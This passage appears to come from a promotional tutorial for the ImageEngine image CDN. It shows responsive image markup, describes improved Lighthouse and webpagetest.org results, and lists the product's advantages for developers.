                //myimg.mydomain.com.imgeng.in/168703ff-6f54-4872-bfbe-0732fbe39d1d%2Fcamera.jpg?imgeng=/w_768 768w" 
alt="ImageEngine with srcset">

Note that ImageEngine will still convert to the best image format whether it is webp, jpeg2000 or something else.

3. Run the Lighthouse test again

Running Lighthouse on the page with images optimized by ImageEngine, shows that the issues with the images are gone, and that performance has improved significantly.

The impact of ImageEngine is also clearly visible in tools such as webpagetest.org. Especially when it comes to payload reduction, and time and resources spent downloading and decoding images.

Why ImageEngine?

ImageEngine will reduce the payload generated by images on your site, without compromising the visual quality. Less data, faster site, better user experience, increase conversion rate.

Moreover, thanks to ImageEngine developers and designers will spend less time writing image markup, creating image derivatives, and optimizing images.

From a developers perspective there are also other advantages:

ImageEngine is not an asset management system, but an Image CDN
No dependencies on 3rd party JavaScript- or server side libraries
No need to upload images anywhere
Customize how images are optimized to fit your needs
ImageEngine pays special attention to the mobile use case.